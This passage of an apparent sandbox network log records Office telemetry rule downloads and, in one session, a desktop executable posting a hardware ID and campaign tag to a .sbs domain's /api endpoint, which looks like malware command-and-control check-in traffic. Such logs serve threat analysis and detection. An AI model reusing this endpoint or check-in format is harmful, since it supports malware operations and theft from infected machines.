2024-11-15 18:39:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: d999b00b-501e-008f-5509-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183923Z-1866b5c5fbbzzh8chC1DFWdrc400000001dg000000002bdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:24 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5a7d27ff-801e-0048-0d40-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183924Z-16547b76f7f7scqbhC1DFW0m5w0000000n8g00000000vsaw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 86e20b26-901e-00a0-18ab-366a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183924Z-16547b76f7ffx24hhC1DFW9px4000000017000000000f34u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:24 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183924Z-16547b76f7fj5p7mhC1DFWf8w40000000nkg00000000ncr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:24 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183924Z-16547b76f7ftdm8dhC1DFWs13g0000000nh00000000081fw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:24 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183924Z-1866b5c5fbbfncq9hC1DFW7rf800000001qg000000005k6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49753	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VJUSB8WI47L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1204 Host: frogmen-smell.sbs
2024-11-15 18:39:25 UTC	1204	OUT	Data Raw: 2d 2d 56 4a 55 53 42 38 57 49 34 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 0d 0a 2d 2d 56 4a 55 53 42 38 57 49 34 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 4a 55 53 42 38 57 49 34 37 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 4a 55 53 42 38 57 49 34 37 4c Data Ascii: --VJUSB8WI47LContent-Disposition: form-data; name="hwid"344FFAC76E3F0E2BC01A23AA4E7096E5--VJUSB8WI47LContent-Disposition: form-data; name="pid"1--VJUSB8WI47LContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--VJUSB8WI47L
2024-11-15 18:39:25 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1ic1s983l43t4e83f31vufm67m; expires=Tue, 11-Mar-2025 12:26:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8FdIvDGsezQGsTGi4WQbuUcBrNhjObiPklg%2FwVX0RvUkVbZ8DuDhLtKOaKud%2FBzV4gsKBmCJgK%2FtT8OR%2Fr0wFlYmThud8d2ocmvLkvNQIh39vllYYWTHzffm6fM3HbuD%2Bngt4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315d260d97e99b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2117&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2115&delivery_rate=1405143&cwnd=57&unsent_bytes=0&cid=2f6bf80cb93eac56&ts=748&x=0"
2024-11-15 18:39:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 18:39:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 998ee9d3-c01e-0046-120b-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183925Z-1866b5c5fbb55pxzhC1DFW1aps00000001qg00000000aanc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183925Z-16547b76f7fw2955hC1DFWsptc000000025000000000gkbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183925Z-164f84587bfsqsthhC1DFWh63000000000r000000000pzb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 53ec7209-c01e-0046-37a2-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183925Z-164f84587bf7jb9dhC1DFWkay400000001a000000000e1pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:25 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183925Z-1866b5c5fbbr78bbhC1DFWqz2n00000001q000000000sn3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
